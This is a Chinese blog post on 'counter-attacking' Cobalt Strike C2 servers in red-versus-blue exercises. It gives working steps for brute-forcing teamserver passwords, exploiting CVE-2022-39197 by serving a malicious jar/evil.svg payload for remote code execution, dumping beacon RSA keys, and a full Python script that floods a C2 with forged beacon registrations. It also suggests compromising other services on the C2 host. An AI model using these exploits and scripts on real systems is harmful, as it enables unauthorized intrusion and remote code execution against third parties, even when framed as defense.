红蓝对抗|反制cs的一些常用方式
cobalt strike 是护网中红队比较常用的c2工具 在检测中发现cs后门
可以用以下这几种方式进行反制。
cs上线流程分析
攻击者利用CS Server生成新的Beacon监听(包括一对非对称公私钥)并生成Stager;
攻击者投递Stager到受控主机;
受控主机在Exploit阶段执行小巧的Stager;
受控主机根据Stager Url请求特征向Beacon Staging Server下载体积较大更复杂的Stage到本地,Beacon Staging Server会校验Url的合法性;
Stage解密并解析Beacon配置信息(比如公钥PublicKey、C2 Server信息);
Stage通过公钥PublicKey加密主机的元数据并发送至C2 Server;
C2 Server用私钥解密数据获取主机元数据。
从上述流程中,我们能Get到2个核心点:
Stager Url校验算法
Beacon配置的解密算法
与CS Server合法通信的问题等价转换为获取Stager Url和Beacon解密问题,即:
CS/C2 Server合法通信 = (Stager Url校验算法,Beacon解密算法)
只要拿到了(Stager Url校验算法,Beacon解密算法),相当于我们掌握了与CS/C2 Server合法通信的凭据。我们分别对上述2个核心点进行分析。
也就是说,我们可以通过生成4位的随机校验码,通过checksum8算法获取文件,这里以7vv9为例:55+118+118+57-256=92
- checksum8:这个函数可能用于计算数据的8位校验和。它可以接收一个数据块作为输入,并返回一个8位的校验和值。校验和通常用于验证数据在传输过程中是否完整和准确,以检测数据损坏或错误。
- MSFURI:这个函数可能用于处理和操作Metasploit框架中的URL。Metasploit是一个流行的渗透测试和漏洞利用工具,"MSFURI"函数可能提供一些与URL相关的功能,如解析URL、提取URL参数等。
- isStager:这个函数可能被用于判断某个脚本或数据是否为Stager。Stager是指一段代码或载荷,用于在攻击中引导或加载后续的恶意代码。"isStager"函数可能会对输入进行检查和判断,以确定其是否符合Stager的特定条件。
Beacon配置解密算法
使用工具进行解密:https://github.com/Sentinel-One/CobaltStrikeParser
方法1 爆破cs弱口令
在收集到红队 teamserver 真实ip信息后 默认开放的端口是 50050
也可以使用masscan -p1-65535 ip 对服务器所有端口进行扫描
找到开放的端口 尝试破解口令。
破解 脚本 https://github.com/ryanohoro/csbruter
└─$ sudo masscan -p1-65535 192.168.10.158
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2023-06-28 03:49:39 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Discovered open port 8800/tcp on 192.168.10.158
Discovered open port 50666/tcp on 192.168.10.158
访问端口
然后抓包查看。发现有一段特殊字符。
全端口扫描也能扫到该端口。
指纹有可能不一样 这个版本是修改过的。
执行脚本
python csbruter.py -p 50666 192.168.10.158 top1000.txt
得到密码连接方对方的tamserver 即可。 再进行下一步操作。
方法2 CS RCE(CVE-2022-39197)反制红队主控制端
Cobalt_Strike <4.7.1 RCE (CVE-2022-39197) 在这个版本存在远程RCE 红队的版本比这个低的情况下 可以进行反制。
脚本下载地址 https://github.com/its-arun/CVE-2022-39197
原理是 在java swing 中 某个控件 存在rce 刚好 cs用到这个控件 因为长度有限制 目前主要的利用方法是,通过hook修改进程名加载远程恶意的jar包。
首先使用idea修改一下 jar包里面执行执行后门
接着生成jar包 mvn clean compile assembly:single
使用mvn打包。
放入cve的 serve目录 接着修改url 下载访问jar的地址
开启8080端口服务
python -m http.server 8080
找到红队beacon.exe文件
使用poc执行即可
python cve-2022-39197.py beacon.exe http://192.168.10.162:8080/evil.svg
执行这个代码 首先要做好 靶场的物理隔离。防止红队进行渗透,程序执行一分钟自动退出。
红队只要打开进程管理 就会执行 蓝队的后门。
可以看到有个进程是空白
蓝队cs上线 反制成功了。
编写攻击脚本。
使用cs,生成一个shellcode。
执行python脚本。
发现有新主机上线
方法3:批量伪装上线
分析原理:
利用版本
利用Wireshark抓包工具分析一下Cobalt Strike的上线过程是怎么样的
测试机ip
发现有get/ gif文件。
查看数据包
看到cookie是一串非对称RSA加密类型,需要一个私钥Private Key才能对其进行解密
Cookie: LK+6vKoqY34uzIlDc+x9dRGwaVwwRkxbcOCt51ZECmf64HPmGH59jubofp25saDCVko+r+8s4eLYiNIkitDHl8UDP9N9OXImcQp88t1RdmHaO6rIekSDc/osRjQH47ccHjzMDt/zX5/MXvMRJZ/mMvHFzCvRS1oP8XRWibdIcUI=
解密代码如下:
DumpKeys.java:
import java.io.File;
import java.util.Base64;
import common.CommonUtils;
import java.security.KeyPair;
class DumpKeys
{
public static void main(String[] args)
{
try {
File file = new File(".cobaltstrike.beacon_keys");
if (file.exists()) {
KeyPair keyPair = (KeyPair)CommonUtils.readObject(file, null);
System.out.printf("Private Key: %s\n\n", new String(Base64.getEncoder().encode(keyPair.getPrivate().getEncoded())));
System.out.printf("Public Key: %s\n\n", new String(Base64.getEncoder().encode(keyPair.getPublic().getEncoded())));
}
else {
System.out.println("Could not find .cobaltstrike.beacon_keys file");
}
}
catch (Exception exception) {
System.out.println("Could not read asymmetric keys");
}
}
}
运行解密脚本进行解密。
用rsa网站解密
https://the-x.cn/cryptography/Rsa.aspx
可以看到解密出的数据有我们的元数据,HTTP类型Beacon上线包里的Cookie是RSA加密过的主机元数据,
编写类似爬虫请求来进行模拟上线。
import requests
url = "http://192.168.119.128:8001/pixel.gif"
header = {
"User-Agent" : "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0)",
"Accept" : "*/*",
"Cookie" : "FRfwPoK21T48W80c9VZm8C0vw1116g/X6T4nxjYGNqQJquF9Z7M2AS2QDP6yHz+ca7rOpxi0f/fnitfMLVfy/wOwMrHDZdsxpAp2j77425op8AV9DCNYftCVowPrBtSaN4d6q3LBkXXcAbYcD9k/NDRIXB/TrWHu015XmrCibnA=",
"Connection" : "Keep-Alive",
"Cache-Control" : "Cache-Control"
}
r = requests.get(url,headers=header);
print(r.url)
print(r.text)
print(r.headers)
print(r.status_code)
更改脚本内容
使用脚本进行模拟上线。
分析流量
访问请求地址。
http://192.168.119.128:8001/pixel.gif
解密后可以看到:公钥PublicKey以及CS服务器地址
这里直接使用脚本来解密beacon的publickey
脚本链接:https://github.com/LiAoRJ/CS_fakesubmit
#!/usr/bin/env python
# coding=utf-8
from typing import Text
import rsa
import random
import linecache
import urllib.request
import multiprocessing
import base64
print(" ____ ____ _____ _ ____ _ _ _")
print(" / ___/ ___| | ___|_ _| | _____ / ___| _ _| |__ _ __ ___ (_) |_")
print("| | \___ \ | |_ / _` | |/ / _ \ \___ \| | | | '_ \| '_ ` _ \| | __|")
print("| |___ ___) | | _| (_| | < __/ ___) | |_| | |_) | | | | | | | |_")
print(" \____|____/ |_| \__,_|_|\_\___| |____/ \__,_|_.__/|_| |_| |_|_|\__|")
print('+ @公众号 : F12sec ')
print('+ @Author : LiAoRJ ')
print('+ 使用格式: python3 cs_fakesubmit.py ')
print('+ 将PublicKey放入Public.txt >>> MIGfXXXXXXXXXXXXXXXX== ')
print('+ 输入C2 Server URL >>> 如 http://192.168.1.1:8081/dot.gif ')
def fake_submit(url,Textline1,Textline2,Textline3,pubkey):
# for _ in range(10):
#pack = b'\x00\x00\xBE\xEF' # pack head
#pack += b'\x00\x00\x00\x4C' # pack len
pack = bytearray(random.getrandbits(4) for _ in range(16)) # AESKEY
pack += b'\xa8\x03' # name charset (int) (little)
pack += b'\xa8\x03' # name charset (int) (little)
# pack+=b'\x00\x00\x00\x06' # Beacon Id random
pack += random.randint(0 , 9999999) .to_bytes(4, 'big') # Beacon Id
pack += random.randint(0 , 65535) .to_bytes(4, 'big') # Beacon Pid
pack += b'\x00\x00' # Beacon Port
pack += b'\x04' # Beacon Flag 04
pack += b'\x06'
pack += b'\x02'
pack += b'\x23\xf0\x00\x00\x00\x00' # windows version (int)
pack += b'\x76\x91' # windows version_1 (int)
pack += b'\x0a\x60\x76\x90\xf5\x50'
pack += bytearray(random.getrandbits(4) for _ in range(2)) + b'\xA8\xC0' #Beacon ip 192.168.xxx.xxx
Computer_name = bytes(Textline1.encode('utf-8')) + b'\x09'
User_name = bytes(Textline2.encode('utf-8')) + b'\x09'
Process_name = bytes(Textline3.encode('utf-8')) + b'\x09'
pack += Computer_name + User_name + Process_name
#pack += bytes(''.join(random.sample(string.ascii_letters + string.digits, 6)), encoding = "utf8")+ b'\x09' + bytes(''.join(random.sample(string.ascii_letters + string.digits, 6)), encoding = "utf8") + b'\x09' + bytes(''.join(random.sample(string.ascii_letters + string.digits, 6)), encoding = "utf8")
pack = b'\x00\x00\xBE\xEF'+len(pack).to_bytes(4, 'big')+pack
# pubkey = rsa.PublicKey.load_pkcs1_openssl_pem("""
# -----BEGIN PUBLIC KEY-----
# MIGfXXXXXXXXXXXXXXXX==
# -----END PUBLIC KEY-----
# """)
pem_prefix = '-----BEGIN PUBLIC KEY-----\n'
pem_suffix = '\n-----END PUBLIC KEY-----'
key = '{}{}{}'.format(pem_prefix,pubkey,pem_suffix)
pubkey = rsa.PublicKey.load_pkcs1_openssl_pem(
key
)
# use the CobaltStrikeParser extract public key from the payload https://github.com/Sentinel-One/CobaltStrikeParser parse_beacon_config.py payload_url --json
#Remember to remove the extra padding from the public key
enpack = rsa.encrypt(pack, pubkey)
header = {
'Cookie': base64.b64encode(enpack).decode('utf-8')
}
request = urllib.request.Request(url, headers=header)
reponse = urllib.request.urlopen(request).read()
if __name__ == "__main__":
url = input("请输入目标C2 Server URL:") # C2 Server URL
number = input("请输入要发送的次数:") #发送次数
filename1 = './Computer_name.txt' #计算机名称
filename2 = './User_name.txt' #用户名称
filename3 = './Process_name.txt'#进程名
filename4 = './Public_key.txt'
with open(filename1,'r') as file1:
with open(filename2,'r') as file2:
with open(filename3,'r') as file3:
with open(filename4,'r') as file4:
pubkey = file4.readline()
Count1 = len(file1.readlines())
Count2 = len(file2.readlines())
Count3 = len(file3.readlines())
for _ in range(int(number)):
Textline1 = linecache.getline(filename1,random.randint(1,Count1)).replace('\n','')
Textline2 = linecache.getline(filename2,random.randint(1,Count2)).replace('\n','')
Textline3 = linecache.getline(filename3,random.randint(1,Count3)).replace('\n','')
t = multiprocessing.Process(target=fake_submit(url,Textline1,Textline2,Textline3,pubkey))
t.start()
# fake_submit(url,Textline1,Textline2,Textline3)
print("OK!")
脚本分析:
脚本首先会读取输入的C2 Server URL和发送次数,然后读取计算机名称、用户名称和进程名的文件,以及公钥的文件。接着,脚本会循环指定的发送次数,每次循环中,从文件中随机选择一行作为计算机名称、用户名称和进程名,然后将这些数据进行加密,并添加到请求的Cookie头中,最后发送请求。 脚本中使用了`rsa`库来进行数据加密,使用了`urllib`库来发送请求。 需要注意的是,该脚本中的加密方式是使用RSA算法,需要提前将Cobalt Strike的公钥存储在Public.txt文件中,并且确保公钥格式正确。另外,计算机名称、用户名称和进程名的文件需要提前准备好,每行一个数据。
命令:
反制上线过程
配置公钥
使用脚本攻击,然后输入c2地址。
然后测试上线机器,成功使用脚本上线10台cs,对攻击者进行反制。
方法4:旁路阻断
利用该c2地址的其它搭的web服务,测试存在那些漏洞,开放那些端口,然后对其进行测试,然后拿到其它站点的服务shell,然后对c2进行攻击。
- 点赞
- 收藏
- 关注作者
评论(0)